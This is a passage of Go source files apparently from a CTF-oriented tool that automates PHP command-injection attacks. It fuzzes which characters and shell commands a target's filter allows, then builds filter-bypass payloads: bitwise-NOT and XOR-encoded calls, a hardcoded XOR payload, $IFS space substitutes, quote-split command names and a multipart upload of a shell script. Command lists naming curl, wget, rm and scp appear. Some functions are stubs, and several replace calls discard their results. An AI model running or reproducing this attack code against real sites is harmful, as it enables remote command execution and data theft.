io.ReadAll(response.Body) 286 | bodya := RemoveHTMLTags(string(doc)) 287 | 288 | label.SetText("URL为: " + newURL + "payload为: " + payload + "回显为: " + bodya) 289 | } 290 | 291 | // hexToString 函数用于将十六进制转换为字符串 292 | func hexToString(hexStr string) string { 293 | bytes, _ := hex.DecodeString(hexStr) 294 | return string(bytes) 295 | } 296 | 297 | func Or(URL string, command string, canshu string, label *widget.Label, guolv string, leixing string) { 298 | 299 | } 300 | 301 | func Noshuzievaljinjie(url string, command string, v string, i string, m string, guolv string, label *widget.Label) { 302 | var c1 string 303 | var c2 string 304 | leftIndex := strings.Index(command, "(") 305 | if leftIndex == -1 { 306 | // 字符串中没有左括号 307 | c1 = command 308 | c2 = "" 309 | } 310 | 311 | // 查找第一个右括号的索引 312 | rightIndex := strings.Index(command, ")") 313 | if rightIndex == -1 { 314 | // 字符串中没有右括号 315 | c1 = "" 316 | c2 = "" 317 | } 318 | var c3 string 319 | if leftIndex < rightIndex { 320 | // 括号正确匹配,提取括号内外的内容 321 | c1 = command[:leftIndex] 322 | c2 = command[leftIndex+1 : rightIndex] 323 | 324 | c2 = Qufan(c2) //对括号内系统命令取反 325 | 326 | c3 = "~" + c2 327 | 328 | } else { 329 | // 括号不正确匹配 330 | c1 = command 331 | c2 = "" 332 | } 333 | 334 | var rec string 335 | 336 | if v == "7" { 337 | fmt.Println("PHP版本为7.x") 338 | fmt.Printf("可以使用取反来解决") 339 | payload := Qufan(c1) 340 | if !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, "~") && !strings.Contains(guolv, ";") { 341 | command = "(~" + payload + ")(" + c3 + ");" 342 | fmt.Printf("payload为: %s\n", command) 343 | 344 | } else if !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, "~") && !strings.Contains(guolv, "<") && !strings.Contains(guolv, "=") && !strings.Contains(guolv, ">") && !strings.Contains(guolv, "?") && !strings.Contains(guolv, "`") { 345 | fmt.Printf("\033[33m" + "[Tips] " + "\033[39m" + "这里只能执行system命令") 346 | command = "?>" 347 | fmt.Printf("payload为: %s\n", command) 348 | } 349 | 350 | } else if v == "5" { 351 | fmt.Println("PHP版本为5.x") 352 | rec = "?>" 353 | m = "POST" 354 | } 355 | 356 | if m == "GET" { 357 | urL := url + "?" + i + "=" + command 358 | res, err := http.Get(urL) 359 | if err != nil { 360 | log.Fatal(err) 361 | } 362 | defer res.Body.Close() 363 | 364 | body, err := io.ReadAll(res.Body) 365 | 366 | REres := RemoveHTMLTags(string(body)) 367 | label.SetText("URL为: " + urL + "\npayload为: " + command + "\n回显为: " + REres) 368 | 369 | } else if m == "POST" { 370 | reurl := url + "?" + i + "=" + rec 371 | fileContent := []byte("#!/bin/sh\n\n" + command) 372 | 373 | body := &bytes.Buffer{} 374 | writer := multipart.NewWriter(body) 375 | 376 | // 创建一个文件字段,并将文件数据写入其中 377 | fileField, err := writer.CreateFormFile("file", "1.txt") 378 | if err != nil { 379 | fmt.Println("创建表单文件字段失败:", err) 380 | return 381 | } 382 | _, err = fileField.Write(fileContent) 383 | if err != nil { 384 | fmt.Println("写入文件数据失败:", err) 385 | return 386 | } 387 | 388 | // 完成表单数据的写入 389 | err = writer.Close() 390 | if err != nil { 391 | fmt.Println("关闭表单写入器失败:", err) 392 | return 393 | } 394 | req, err := http.NewRequest("POST", reurl, body) 395 | if err != nil { 396 | fmt.Println("创建 POST 请求失败:", err) 397 | return 398 | } 399 | req.Header.Set("Content-Type", writer.FormDataContentType()) 400 | 401 | // 发送请求 402 | client := http.DefaultClient 403 | resp, err := client.Do(req) 404 | if err != nil { 405 | fmt.Println("发送 POST 请求失败:", err) 406 | return 407 | } 408 | defer resp.Body.Close() 409 | 410 | // 读取响应 411 | respBody, err := io.ReadAll(resp.Body) 412 | if err != nil { 413 | fmt.Println("读取响应失败:", err) 414 | return 415 | } 416 | 417 | // 输出响应 418 | 419 | reS := RemoveHTMLTags(string(respBody)) 420 | label.SetText("payload为: " + command + "\n回显为: " + reS) 421 | 422 | } 423 | 424 | } 425 | 426 | func Xorplus(URL string, canshu string, m string, choose string, label *widget.Label) { 427 | 428 | var payload string 429 | 430 | if choose == "guding" { 431 | 432 | payload = "((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));" 433 | result := GP(URL, canshu, m, payload) 434 | 435 | label.SetText("payload为: " + payload + "\n回显为: " + result) 436 | 437 | } else if choose == "zidingyi" { 438 | //TODO:自定义少字符异或 439 | } 440 | 441 | } 442 | -------------------------------------------------------------------------------- /script/fuzzpro.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "io" 7 | "log" 8 | "net/http" 9 | "os" 10 | "strings" 11 | ) 12 | 13 | var cleantext string 14 | 15 | func CleanText(url string) string { 16 | res, err := http.Get(url) 17 | if err != nil { 18 | log.Fatal(err) 19 | } 20 | defer res.Body.Close() 21 | 22 | body, err := io.ReadAll(res.Body) 23 | 24 | cleantext = RemoveHTMLTags(string(body)) 25 | return cleantext 26 | } 27 | 28 | func Fuzz(URL string, m string, i string) string { 29 | result := "" 30 | fmt.Println("即将进行fuzz测试") 31 | client := &http.Client{} 32 | 33 | var req *http.Request 34 | var err error 35 | 36 | for ch := 32; ch <= 126; ch++ { 37 | cha := fmt.Sprintf("%c", ch) 38 | 39 | //char = url.QueryEscape(char) 40 | newURL := fmt.Sprintf("%s?%s=%s", URL, i, cha) 41 | cleanText := CleanText(URL) 42 | // 创建请求对象 43 | if m == "GET" { 44 | req, err = http.NewRequest("GET", newURL, nil) 45 | if err != nil { 46 | fmt.Println("Error creating GET request:", err) 47 | 48 | } 49 | } else if m == "POST" { 50 | req, err = http.NewRequest("POST", newURL, strings.NewReader(i)) 51 | if err != nil { 52 | fmt.Println("Error creating POST request:", err) 53 | 54 | } 55 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 56 | } else { 57 | fmt.Println("无效请求方式") 58 | 59 | } 60 | 61 | // 发送请求 62 | resp, err := client.Do(req) 63 | if err != nil { 64 | fmt.Println("Error sending request:", err) 65 | 66 | } 67 | defer resp.Body.Close() 68 | 69 | // 读取响应内容 70 | body, err := io.ReadAll(resp.Body) 71 | if err != nil { 72 | fmt.Println("Error reading response body:", err) 73 | 74 | } 75 | 76 | res := RemoveHTMLTags(string(body)) 77 | // 比较回显与题目,并输出差异 78 | cleanResponse := strings.Replace(res, cleanText, "", -1) 79 | cleanText = strings.TrimSpace(cleanText) 80 | cleanResponse = strings.TrimSpace(cleanResponse) 81 | 82 | if cleanResponse == "" { 83 | //fmt.Printf(inf+"该字符可用: %s\n", char) 84 | result += cha 85 | continue 86 | } else { 87 | //fmt.Printf(WARNING+"该字符不可用: %s\n", char) 88 | continue 89 | } 90 | 91 | } 92 | return result 93 | } 94 | 95 | func Fuzz1(url string, i string, er string, m string) string { 96 | 97 | //对所有数字字母和符号进行遍历 98 | 99 | result := "" 100 | fmt.Println("即将进行fuzz测试") 101 | client := &http.Client{} 102 | 103 | var req *http.Request 104 | var err error 105 | 106 | cleanText := CleanText(url) 107 | for ch := 32; ch <= 126; ch++ { 108 | cha := fmt.Sprintf("%c", ch) 109 | 110 | //char = url.QueryEscape(char) 111 | newURL := fmt.Sprintf("%s?%s=%s", url, i, cha) 112 | 113 | // 创建请求对象 114 | if m == "GET" { 115 | req, err = http.NewRequest("GET", newURL, nil) 116 | if err != nil { 117 | fmt.Println("Error creating GET request:", err) 118 | 119 | } 120 | } else if m == "POST" { 121 | req, err = http.NewRequest("POST", newURL, strings.NewReader(i)) 122 | if err != nil { 123 | fmt.Println("Error creating POST request:", err) 124 | 125 | } 126 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 127 | } else { 128 | fmt.Println("无效请求方式") 129 | 130 | } 131 | 132 | // 发送请求 133 | resp, err := client.Do(req) 134 | if err != nil { 135 | fmt.Println("Error sending request:", err) 136 | 137 | } 138 | defer resp.Body.Close() 139 | 140 | // 读取响应内容 141 | body, err := io.ReadAll(resp.Body) 142 | if err != nil { 143 | fmt.Println("Error reading response body:", err) 144 | 145 | } 146 | 147 | res := RemoveHTMLTags(string(body)) 148 | // 比较回显与题目,并输出差异 149 | cleanResponse := strings.Replace(res, cleanText, "", -1) 150 | cleanText = strings.TrimSpace(cleanText) 151 | cleanResponse = strings.TrimSpace(cleanResponse) 152 | 153 | if cleanResponse != er { 154 | //fmt.Printf(inf+"该字符可用: %s\n", char) 155 | result += cha 156 | continue 157 | } else { 158 | //fmt.Printf(WARNING+"该字符不可用: %s\n", char) 159 | continue 160 | } 161 | 162 | } 163 | return result 164 | } 165 | 166 | func Fuzz2(url string, i string, er string, m string) string { 167 | 168 | //对bash命令遍历 169 | 170 | client := &http.Client{} 171 | response := fmt.Sprintf("%s?%s", url, i) 172 | req, err := http.NewRequest("GET", response, nil) 173 | if err != nil { 174 | fmt.Println("Error creating GET request:", err) 175 | 176 | } 177 | 178 | // 发送请求 179 | resp, err := client.Do(req) 180 | if err != nil { 181 | fmt.Println("Error sending request:", err) 182 | 183 | } 184 | defer resp.Body.Close() 185 | 186 | // 读取响应内容 187 | body, err := io.ReadAll(resp.Body) 188 | if err != nil { 189 | fmt.Println("Error reading response body:", err) 190 | 191 | } 192 | 193 | cleanText := RemoveHTMLTags(string(body)) 194 | result := "" 195 | 196 | allbash := []string{"cat", "tac", "nl", "more", "wget", "grep", "tail", "flag", "less", "head", "sed", "cut", "awk", "strings", "od", "curl", "scp", "rm", "xxd", "mv", "cp", "pwd", "ls", "echo", "sed", "sort"} 197 | for _, keyword := range allbash { 198 | 199 | //char = url.QueryEscape(char) 200 | newURL := fmt.Sprintf("%s?%s=%s", url, i, keyword) 201 | 202 | // 创建请求对象 203 | if m == "GET" { 204 | req, err = http.NewRequest("GET", newURL, nil) 205 | if err != nil { 206 | fmt.Println("Error creating GET request:", err) 207 | 208 | } 209 | } else if m == "POST" { 210 | req, err = http.NewRequest("POST", newURL, strings.NewReader(i)) 211 | if err != nil { 212 | fmt.Println("Error creating POST request:", err) 213 | 214 | } 215 | req.Header.Set("Content-Type", "application/x-www-form-urlencoded") 216 | } else { 217 | fmt.Println("无效请求方式") 218 | 219 | } 220 | 221 | // 发送请求 222 | resp, err := client.Do(req) 223 | if err != nil { 224 | fmt.Println("Error sending request:", err) 225 | 226 | } 227 | defer resp.Body.Close() 228 | 229 | // 读取响应内容 230 | body, err := io.ReadAll(resp.Body) 231 | if err != nil { 232 | fmt.Println("Error reading response body:", err) 233 | 234 | } 235 | 236 | res := RemoveHTMLTags(string(body)) 237 | // 比较回显与题目,并输出差异 238 | cleanResponse := strings.Replace(res, cleanText, "", -1) 239 | cleanText = strings.TrimSpace(cleanText) 240 | cleanResponse = strings.TrimSpace(cleanResponse) 241 | if cleanResponse != er { 242 | //该字符可用 243 | result += keyword 244 | result = result + " " 245 | continue 246 | } else { 247 | //该字符不可用 248 | continue 249 | } 250 | 251 | } 252 | 253 | return result 254 | } 255 | 256 | func Fuzzpro(url string, i string, m string) string { 257 | 258 | if m == "" { 259 | fmt.Println("[???]请输入请求方式") 260 | 261 | } 262 | 263 | fmt.Printf( 264 | "\n[INFO]这是一个下午赶出来的能够对所有字符和所有命令进行fuzz的脚本\n" + 265 | "[INFO]目前只支持GET方式,POST方式会后续更新,可能还会更新支持字典\n" + 266 | "[+]请选择执行类型\n" + 267 | "[1]对所有数字字母和符号进行遍历\n" + 268 | "[2]对bash命令遍历\n\n" + 269 | "[-]请选择: ") 270 | reader := bufio.NewReader(os.Stdin) 271 | input, _ := reader.ReadString('\n') 272 | input = strings.TrimSpace(input) 273 | 274 | if input == "1" { 275 | 276 | fmt.Println("[+]请输入错误回显: ") 277 | readerer := bufio.NewReader(os.Stdin) 278 | er, _ := readerer.ReadString('\n') 279 | er = strings.TrimSpace(er) 280 | 281 | if url == "" || i == "" || er == "" { 282 | fmt.Println("[?]请输入全部参数") 283 | 284 | } 285 | 286 | fuzz1 := Fuzz1(url, i, er, m) 287 | fmt.Println("[-]可用字符有:" + fuzz1) 288 | return fuzz1 289 | } else if input == "2" { 290 | 291 | fmt.Println("[+]请输入错误回显: ") 292 | readerer := bufio.NewReader(os.Stdin) 293 | er, _ := readerer.ReadString('\n') 294 | er = strings.TrimSpace(er) 295 | 296 | if url == "" || i == "" || er == "" { 297 | fmt.Println("[?]请输入全部参数") 298 | 299 | } 300 | 301 | fuzz2 := Fuzz2(url, i, er, m) 302 | fmt.Println("[+]可用bash命令有: " + fuzz2) 303 | return fuzz2 304 | 305 | } else if input == "3" { 306 | 307 | // 处理无效选项的情况 308 | fmt.Println("[?]咱暂时还没这功能") 309 | 310 | } else { 311 | 312 | fmt.Println("[?]你输入了个嘛玩意") 313 | 314 | } 315 | return "" 316 | } 317 | -------------------------------------------------------------------------------- /script/misc.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "fmt" 5 | "github.com/PuerkitoBio/goquery" 6 | "log" 7 | "strings" 8 | ) 9 | 10 | // 使用 goquery 库的 Selection.Text() 方法获取去除了 HTML 标签的纯文本 11 | func RemoveHTMLTags(html string) string { 12 | doc, err := goquery.NewDocumentFromReader(strings.NewReader(html)) 13 | if err != nil { 14 | log.Fatal(err) 15 | } 16 | 17 | return doc.Text() 18 | } 19 | 20 | func bijiao(target, flag string) bool { 21 | count := 0 22 | for _, char := range flag { 23 | if strings.ContainsRune(target, char) { 24 | count++ 25 | if count >= 2 { 26 | return true 27 | } 28 | } 29 | } 30 | return false 31 | } 32 | 33 | func ls(yubeicommand string, URL string, canshu string, m string, yuanma string, com string, char string, guolv string) string { 34 | 35 | var result1 = "flag" 36 | 37 | for i := 0; i < 10; i++ { 38 | 39 | result := GP(URL, canshu, m, yubeicommand) 40 | lstxt := strings.Replace(result, yuanma, "", 1) 41 | 42 | files := strings.Fields(lstxt) 43 | 44 | for _, file := range files { 45 | 46 | if bijiao(file, "flag") { 47 | 48 | result1 = file 49 | if strings.Contains(yubeicommand, "/") { 50 | result1 = "/" + file 51 | } 52 | 53 | if strings.Contains(guolv, result1) { 54 | 55 | if strings.Contains(char, "?") { 56 | 57 | if strings.Contains(char, "f") { 58 | strings.Replace(result1, "flag", "f???", -1) 59 | } else if strings.Contains(char, "l") { 60 | strings.Replace(result1, "flag", "?l??", -1) 61 | } else if strings.Contains(char, "a") { 62 | strings.Replace(result1, "flag", "??a?", -1) 63 | } else if strings.Contains(char, "g") { 64 | strings.Replace(result1, "flag", "???g", -1) 65 | } 66 | 67 | } else if strings.Contains(char, "*") { 68 | 69 | if strings.Contains(char, "f") { 70 | strings.Replace(result1, "flag", "f*", -1) 71 | } else if strings.Contains(char, "l") { 72 | strings.Replace(result1, "flag", "*l*", -1) 73 | } else if strings.Contains(char, "a") { 74 | strings.Replace(result1, "flag", "*a*", -1) 75 | } else if strings.Contains(char, "g") { 76 | strings.Replace(result1, "flag", "*g", -1) 77 | } 78 | 79 | } else if strings.Contains(char, "'") { 80 | 81 | strings.Replace(result1, "flag", "f''l''a''g", -1) 82 | 83 | } else if strings.Contains(char, "\\") { 84 | 85 | strings.Replace(result1, "flag", "f\\l\\a\\g", -1) 86 | 87 | } 88 | 89 | } 90 | 91 | if strings.Contains(guolv, "php") && strings.Contains(result1, "php") { 92 | 93 | if strings.Contains(char, "?") { 94 | strings.Replace(result1, "php", "???", -1) 95 | } else if strings.Contains(char, "*") { 96 | strings.Replace(result1, "php", "*", -1) 97 | } else if strings.Contains(char, "'") { 98 | strings.Replace(result1, "php", "p''h''p", -1) 99 | } else if strings.Contains(char, "\\") { 100 | strings.Replace(result1, "php", "p\\h\\p", -1) 101 | } 102 | 103 | } 104 | 105 | if !strings.Contains(char, ".") && strings.Contains(result1, ".") { 106 | 107 | if strings.Contains(char, "?") { 108 | strings.Replace(result1, ".", "?", -1) 109 | } else if strings.Contains(char, "*") { 110 | strings.Replace(result1, ".", "*", -1) 111 | } 112 | 113 | } 114 | 115 | return result1 116 | 117 | } 118 | } 119 | 120 | kongge := []string{"%0a", "%09", "{$IFS}", " ", "$IFS$9", "$IFS", "%0d", "<", "<>"} //各种能当空格用的字符遍历 121 | 122 | for _, kong := range kongge { 123 | if strings.Contains(com, kong) || strings.Contains(char, kong) { 124 | yubeicommand = yubeicommand + kong + "/" 125 | 126 | } 127 | } 128 | } 129 | 130 | return "error" 131 | } 132 | 133 | func cat(yubeicommand string, URL string, canshu string, m string, yuanma string, result1 string) string { 134 | 135 | kongge := []string{"%0a", "%09", "{$IFS}", " ", "$IFS$9", "$IFS", "%0d", "<", "<>"} //各种能当空格用的字符遍历 136 | 137 | var command string 138 | 139 | for _, kong := range kongge { 140 | 141 | command = yubeicommand + kong + result1 142 | 143 | } 144 | 145 | result := GP(URL, canshu, m, command) 146 | huixian := strings.Replace(result, yuanma, "", 1) 147 | huixian += "payload: " + command 148 | return huixian 149 | 150 | } 151 | 152 | func evalcat(URL string, canshu string, m string, yuanma string, com string, char string, guolv string) string { 153 | 154 | var file = "flag" 155 | var duqu = true 156 | //result1是要cat的文件名 157 | var yubeicommand string 158 | 159 | if strings.Contains(com, "ls") && strings.Contains(char, "l") && strings.Contains(char, "s") { 160 | yubeicommand = "ls" 161 | file = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 162 | } 163 | 164 | //使用单引号绕过 165 | if !strings.Contains(com, "ls") && strings.Contains(char, "'") && strings.Contains(char, "l") && strings.Contains(char, "s") { 166 | yubeicommand = "l''s" 167 | file = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 168 | } 169 | 170 | //使用反斜线绕过 171 | if !strings.Contains(com, "ls") && strings.Contains(char, "\\") && yubeicommand != "l''s" && strings.Contains(char, "l") && strings.Contains(char, "s") { 172 | yubeicommand = "l\\s" 173 | file = ls(yubeicommand, URL, canshu, m, yuanma, com, char, guolv) 174 | } else { 175 | fmt.Println("无法读取文件名,默认读取flag") 176 | duqu = false 177 | } 178 | 179 | if duqu == false { 180 | 181 | for _, fl := range flag { 182 | if strings.Contains(guolv, fl) { 183 | 184 | if strings.Contains(char, "?") { 185 | 186 | if strings.Contains(char, "f") { 187 | strings.Replace(file, fl, "f???", -1) 188 | } else if strings.Contains(char, "l") { 189 | strings.Replace(file, fl, "?l??", -1) 190 | } else if strings.Contains(char, "a") { 191 | strings.Replace(file, fl, "??a?", -1) 192 | } else if strings.Contains(char, "g") { 193 | strings.Replace(file, fl, "???g", -1) 194 | } 195 | 196 | } else if strings.Contains(char, "*") { 197 | 198 | if strings.Contains(char, "f") { 199 | strings.Replace(file, "flag", "f*", -1) 200 | } else if strings.Contains(char, "l") { 201 | strings.Replace(file, "flag", "*l*", -1) 202 | } else if strings.Contains(char, "a") { 203 | strings.Replace(file, "flag", "*a*", -1) 204 | } else if strings.Contains(char, "g") { 205 | strings.Replace(file, "flag", "*g", -1) 206 | } 207 | 208 | } else if strings.Contains(char, "'") { 209 | 210 | strings.Replace(file, "flag", "f''l''a''g", -1) 211 | 212 | } else if strings.Contains(char, "\\") { 213 | 214 | strings.Replace(file, "flag", "f\\l\\a\\g", -1) 215 | 216 | } 217 | 218 | } 219 | } 220 | } 221 | 222 | dancom := strings.Fields(com) 223 | 224 | for _, dan := range dancom { 225 | 226 | if dan == "cat" || dan == "tac" || dan == "nl" { 227 | 228 | yubeicommand = dan 229 | 230 | } else if strings.Contains(char, "c") && strings.Contains(char, "a") && strings.Contains(char, "t") && strings.Contains(char, "'") { 231 | 232 | yubeicommand = "c''a''t" 233 | 234 | } else if strings.Contains(char, "c") && strings.Contains(char, "a") && strings.Contains(char, "t") && strings.Contains(char, "\\") { 235 | 236 | yubeicommand = "c\\a\\t" 237 | 238 | } else if strings.Contains(char, "n") && strings.Contains(char, "l") && strings.Contains(char, "'") { 239 | yubeicommand = "n''l" 240 | 241 | } else if strings.Contains(char, "n") && strings.Contains(char, "l") && strings.Contains(char, "\\") { 242 | yubeicommand = "n\\l" 243 | 244 | } 245 | 246 | } 247 | 248 | kongge := []string{"%0a", "%09", "{$IFS}", " ", "$IFS$9", "$IFS", "%0d", "<", "<>"} //各种能当空格用的字符遍历 249 | 250 | var command string 251 | 252 | for _, kong := range kongge { 253 | 254 | command = yubeicommand + kong + file 255 | 256 | } 257 | 258 | return command 259 | 260 | } 261 | -------------------------------------------------------------------------------- /script/rcemap.go: -------------------------------------------------------------------------------- 1 | package script 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | 9 | "regexp" 10 | "strings" 11 | 12 | "fyne.io/fyne/v2/widget" 13 | ) 14 | 15 | func Test(URL string, Version string, command string, i string, m string) (string, string) { 16 | 17 | response, err := http.Get(URL) 18 | 19 | if err != nil { 20 | fmt.Println("Error creating GET request:", err) 21 | 22 | } 23 | 24 | defer response.Body.Close() 25 | 26 | doc, err := io.ReadAll(response.Body) 27 | if err != nil { 28 | fmt.Println("Error reading response body:", err) 29 | 30 | } 31 | 32 | lines := string(doc) 33 | cleanText := RemoveHTMLTags(lines) 34 | 35 | fmt.Printf("题目源码如下: \n" + cleanText + "\n") 36 | 37 | //先获取源码(不管有没有,你先获取再说) 38 | 39 | var guolv string 40 | preg_match := "preg_match" 41 | 42 | if strings.Contains(cleanText, preg_match) { 43 | 44 | fmt.Printf("发现过滤: %s\n", preg_match) 45 | 46 | // 使用正则表达式提取括号内的内容 47 | re := regexp.MustCompile(`preg_match\("([^"]+)"`) 48 | matches := re.FindStringSubmatch(cleanText) 49 | 50 | if len(matches) > 1 { 51 | guolv = matches[1] 52 | fmt.Printf("发现过滤为: %s\n", guolv) 53 | } else { 54 | re = regexp.MustCompile(`preg_match\('([^']+)'`) 55 | matches = re.FindStringSubmatch(cleanText) 56 | if len(matches) > 1 { 57 | guolv = matches[1] 58 | fmt.Printf("发现过滤为: %s\n", guolv) // 输出过滤内容及括号内的匹配内容 59 | } //草泥马的就你一次匹配不好使呗,那老子两次匹配就完了呗 60 | 61 | } 62 | } 63 | return cleanText, guolv 64 | } 65 | 66 | // 分eval和system对过滤进行匹配 67 | func Damn(URL string, Version string, command string, i string, m string, cleanText string, guolv string, label *widget.Label) { 68 | 69 | if strings.Contains(string(cleanText), "eval") && guolv != "" { 70 | if strings.Contains(guolv, "a-z") && strings.Contains(guolv, "0-9") { 71 | //eval环境下的无数字字母分好多种 72 | if strings.Contains(guolv, "$") { 73 | 74 | fmt.Println("执行eval函数") 75 | fmt.Println("普通无数字字母需要利用$,这里被过滤了,只能使用进阶版") 76 | //无数字字母进阶的eval两种版本施工完毕 77 | if !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, "~") && !strings.Contains(guolv, ";") { 78 | Version = "7" 79 | Noshuzievaljinjie(URL, command, Version, i, m, guolv, label) 80 | } else if !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, "~") && !strings.Contains(guolv, "<") && !strings.Contains(guolv, "=") && !strings.Contains(guolv, ">") && !strings.Contains(guolv, "?") && !strings.Contains(guolv, "`") { 81 | Version = "7" 82 | Noshuzievaljinjie(URL, command, Version, i, m, guolv, label) 83 | } else if !strings.Contains(guolv, ".") && !strings.Contains(guolv, "/") && !strings.Contains(guolv, "?") && !strings.Contains(guolv, "[") && !strings.Contains(guolv, "-") && !strings.Contains(guolv, "]") { 84 | Version = "5" 85 | Noshuzievaljinjie(URL, command, Version, i, m, guolv, label) 86 | } else { 87 | label.SetText("老弟你全给过滤了我咋做啊(其实要么是你菜要么是我菜不会做要么是这题无解)") 88 | } 89 | } else { 90 | 91 | fmt.Println("既然$没有被过滤,那么这里总共有三种方法") 92 | 93 | if m == "GET" && !strings.Contains(guolv, "$") && !strings.Contains(guolv, "{") && !strings.Contains(guolv, "}") && !strings.Contains(guolv, "^") && !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, ";") { 94 | fmt.Println("这是一种特殊的方法,利用%ff") 95 | Ff(URL, command, guolv, i, m, label) 96 | 97 | } else if !strings.Contains(guolv, "$") && !strings.Contains(guolv, "_") && !strings.Contains(guolv, ";") && !strings.Contains(guolv, ".") { 98 | fmt.Println("可以使用自增") 99 | Zizeng(URL, command, i, m, label) 100 | 101 | } else if !strings.Contains(guolv, "^") && !strings.Contains(guolv, "$") && !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, "'") && !strings.Contains(guolv, ".") && !strings.Contains(guolv, "_") && !strings.Contains(guolv, ";") { 102 | fmt.Println("可以使用异或") 103 | Xor(URL, command, Version, i, label) 104 | 105 | } else if !strings.Contains(guolv, "$") && !strings.Contains(guolv, "{") && !strings.Contains(guolv, "}") && !strings.Contains(guolv, "^") && !strings.Contains(guolv, "(") && !strings.Contains(guolv, ")") && !strings.Contains(guolv, ">") && !strings.Contains(guolv, "<") && !strings.Contains(guolv, "?") && !strings.Contains(guolv, "=") && !strings.Contains(guolv, "`") { 106 | fmt.Println("当这个特殊方法中分号被过滤时只能使用短标签了") 107 | Ff(URL, command, guolv, i, m, label) 108 | } 109 | } 110 | } else { 111 | Blacktest(guolv, m) 112 | 113 | } 114 | } else if strings.Contains(string(cleanText), "system") && guolv != "" { 115 | 116 | fmt.Println("执行system函数") 117 | booL := "0" 118 | Bashfuck(URL, command, guolv, i, m, label, booL) 119 | 120 | if booL == "0" { 121 | com, _ := Blacktest(guolv, "s") 122 | huixian := Pwd(URL, i, m, com) 123 | label.SetText(huixian) 124 | } 125 | 126 | } else { 127 | label.SetText("这是什么题目QAQ") 128 | 129 | } 130 | 131 | // { 132 | //感觉不如fuzz出可用的然后用(来自未来编写出fuzzpro之后的pr1nt) 133 | 134 | //不是无数字字母,一律是黑名单绕过 135 | 136 | //黑名单绕过这个知识点简单,但是脚本写起来复杂,整不明白了,代码注释后留在这,谁愿意二开添加上这个功能自己尝试吧 137 | 138 | //其实我能写成固定get方式发/bin/ta?${IFS}+command,然后让用户传c为flag的路径,检测flag如果被过滤就变成????,检测php如果被过滤变成??? 139 | //如果这么写难度会骤减 140 | //或者写成只能传ls和tac,然后tac就上面处理方法,ls就检测没过滤直接扔,过滤就单引号绕一下 141 | 142 | /* 143 | //所有可用的函数 144 | heimingdan := []string{"cat", "tac", "nl", "more", "wget", "tail", "flag", "less", "head", "sed", "cut", "awk", "strings", "od", "curl", "scp", "rm", "0x20", ">", "`", "%", "x09", "x26", "<", "'", "\\", "\"", "${IFS}"} 145 | 146 | //将可利用函数与guolv掉的相匹配 147 | r := regexp.MustCompile(guolv) 148 | var guolv2 string 149 | 150 | for _, keyword := range heimingdan { 151 | if r.MatchString(keyword) { 152 | guolv2 += keyword 153 | } else { 154 | fmt.Println("可用的函数为: " + keyword) 155 | result += keyword 156 | } 157 | } 158 | 159 | var c1 string 160 | var c2 string 161 | leftIndex := strings.Index(command, "(") 162 | if leftIndex == -1 { 163 | // 字符串中没有左括号 164 | c1 = command 165 | c2 = "" 166 | } 167 | 168 | // 查找第一个右括号的索引 169 | rightIndex := strings.Index(command, ")") 170 | if rightIndex == -1 { 171 | // 字符串中没有右括号 172 | c1 = "" 173 | c2 = "" 174 | } 175 | 176 | if leftIndex < rightIndex { 177 | // 括号正确匹配,提取括号内外的内容 178 | //c1是括号外内容,c2是括号内内容 179 | c1 = command[:leftIndex] 180 | c2 = command[leftIndex+1 : rightIndex] 181 | 182 | } else { 183 | // 括号不正确匹配 184 | c1 = command 185 | c2 = "" 186 | } 187 | 188 | if strings.Contains(result, "'") { 189 | fmt.Println("单引号没被过滤,可以插函数里绕过") 190 | 191 | if strings.Contains(string(cleanText), "eval") { 192 | reURL := URL + "?" + i + "=" + c1 + "(" + c2 + ")" 193 | response, err = http.Get(reURL) 194 | fmt.Println("POC为: " + reURL) 195 | defer response.Body.Close() 196 | //上面这个eval没写,是占位的 197 | } else if strings.Contains(string(cleanText), "system") { 198 | var rec2 string 199 | var parts []string 200 | 201 | if strings.Contains(c2, " ") && strings.Contains(guolv2, "0x20") && strings.Contains(result, "${IFS}") { 202 | parts = strings.Split(c2, " ") 203 | if strings.Contains(guolv2, parts[0]) { 204 | c21 := parts[0][:len(parts[0])-1] // 通过切片操作删除最后一个字符 205 | c22 := strings.Replace(parts[0], c21, "", 1) 206 | rec2 = c21 + "''" + c22 + "${IFS}" + parts[1] //把两个单引号插入函数达到绕过 207 | 208 | } 209 | }//这里本来是想实现接受任一命令然后执行的 210 | 211 | reURL := URL + "?" + i + "=" + rec2 212 | response, err = http.Get(reURL) 213 | fmt.Println("POC为: " + reURL) 214 | defer response.Body.Close() 215 | } 216 | } 217 | 218 | body, err := io.ReadAll(response.Body) 219 | if err != nil { 220 | fmt.Println(err) 221 | } 222 | fmt.Println("回显为: " + removeHTMLTags(string(body))) 223 | */ 224 | //} 225 | preg_replace := "preg_replace" 226 | preg_match := "preg_match" 227 | if strings.Contains(cleanText, preg_replace) { 228 | //replace过滤等待施工中 229 | fmt.Printf("发现过滤: %s\n", preg_replace) 230 | fmt.Printf("题目源码如下: \n" + cleanText + "\n") 231 | re := regexp.MustCompile(`preg_replace\("([^"]+)"`) 232 | matches := re.FindStringSubmatch(cleanText) 233 | 234 | if len(matches) > 1 { 235 